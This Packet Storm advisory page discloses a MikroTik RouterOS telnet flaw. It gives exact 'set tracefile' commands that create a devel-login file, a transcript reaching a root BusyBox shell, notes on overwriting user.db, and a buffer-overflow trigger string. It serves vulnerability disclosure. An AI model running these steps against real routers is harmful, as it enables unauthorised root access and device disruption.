exploit the possibilities

Mikrotik RouterOS Telnet Arbitrary Root File Creation

Mikrotik RouterOS Telnet Arbitrary Root File Creation
Posted Dec 14, 2018
Authored by Hacker Fantastic

An exploitable arbitrary file creation weakness has been identified in Mikrotik RouterOS that can be leveraged by a malicious attacker to exploit all known versions of Mikrotik RouterOS. The RouterOS contains a telnet client based on GNU inetutils with modifications to remove shell subsystem. However an attacker can leverage the "set tracefile" option to write an arbitrary file into any "rw" area of the filesystem, escaping the restricted shell to gain access to a "ash" busybox shell on some versions. The file is created with root privileges regardless of the RouterOS defined group.

tags | exploit, arbitrary, shell, root
MD5 | 3572fecc2d0fb3043e6bd86755fb6b8a

Mikrotik RouterOS Telnet Arbitrary Root File Creation

Change Mirror Download
Mikrotik RouterOS telnet arbitrary root file creation 0day
==========================================================
This weakness occurs "post-authentication" and can be used to escape the
restricted shell on Mikrotik devices and escalate "readonly" privileges.
Mikrotik contains a hidden "devel" login option which can be enabled
through use of an "options" package.

An exploitable arbitrary file creation weakness has been identified in
Mikrotik RouterOS that can be leveraged by a malicious attacker to exploit
all known versions of Mikrotik RouterOS. The RouterOS contains a telnet
client based on GNU inetutils with modifications to remove shell subsystem.
However an attacker can leverage the "set tracefile" option to write an
arbitrary file into any "rw" area of the filesystem, escaping the
restricted
shell to gain access to a "ash" busybox shell on some versions. The file is
created with root privilieges regardless of the RouterOS defined group.

On versions 4.10 to 5.26 an attacker can enable the "devel" login to escape
the restricted shell by creating the following file:

"set tracefile /nova/etc/devel-login"

On versions 6.0 to 6.40 the same can be achieved with the file:

"set tracefile /flash/nova/etc/devel-login"

This will allow access to a "ash" shell using the "devel" login which has
the
same password as the "admin" user. Advantages of using this method over
known
public methods is that it does not require reconfiguration of device via
backup
files or require a system reboot. On versions greater than 6.40 this issue
can
be exploited to overwrite files such as "user.db" from low-privileged user
accounts to disrupt operation of the device.

On versions above 6.40 this issue can only be leveraged to overwrite files
as
root due to changes in the "devel-login" now requiring creation of an
"option"
folder in a read only partition.

An example of exploitation on impacted devices is shown below:

[admin@MikroTik] > system telnet
address:
telnet> set tracefile /flash/nova/etc/devel-login
tracefile set to "/flash/nova/etc/devel-login".
telnet> quit

Welcome back!
[admin@MikroTik] > system telnet 127.0.0.1
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.

MikroTik v6.40.9 (bugfix)
Login: devel
Password:


BusyBox v1.00 (2018.08.20-07:26+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

#

Errata: an additional advisory accompanying this one references
multiple buffer overflow vulnerabilities in inetutils telnet clients.
The Mikrotik telnet client is also susciptible to these weaknessses. A
trigger for the overflow condition is shown below.

telnet> environ define DISPLAY
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
telnet> open 127.0.0.1
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.


telnet: buffer overflow, losing data, sorry
telnet: ring.cc: 143: int ringbuf::flush(): Assertion `top-bot > 0 &&
top-bot <= count' failed.

Welcome back!
[admin@MikroTik] >


-- Hacker Fantastic
11/12/2018

https://hacker.house


Comments (1)

RSS Feed Subscribe to this comment feed
jonsmith

i found your article very interesting. thank you for sharing lovely post here. keep sharing. and we will love come back to your website. thanks
also have a look at my website
<a href="www.dialprintersupport.com/"> Dial Printer Support</a>

Comment by jonsmith
2018-12-18 09:37:42 UTC | Permalink | Reply
Login or Register to post a comment

File Archive:

January 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    15 Files
  • 2
    Jan 2nd
    15 Files
  • 3
    Jan 3rd
    11 Files
  • 4
    Jan 4th
    1 Files
  • 5
    Jan 5th
    2 Files
  • 6
    Jan 6th
    5 Files
  • 7
    Jan 7th
    24 Files
  • 8
    Jan 8th
    15 Files
  • 9
    Jan 9th
    16 Files
  • 10
    Jan 10th
    22 Files
  • 11
    Jan 11th
    17 Files
  • 12
    Jan 12th
    3 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    18 Files
  • 15
    Jan 15th
    30 Files
  • 16
    Jan 16th
    0 Files
  • 17
    Jan 17th
    0 Files
  • 18
    Jan 18th
    0 Files
  • 19
    Jan 19th
    0 Files
  • 20
    Jan 20th
    0 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close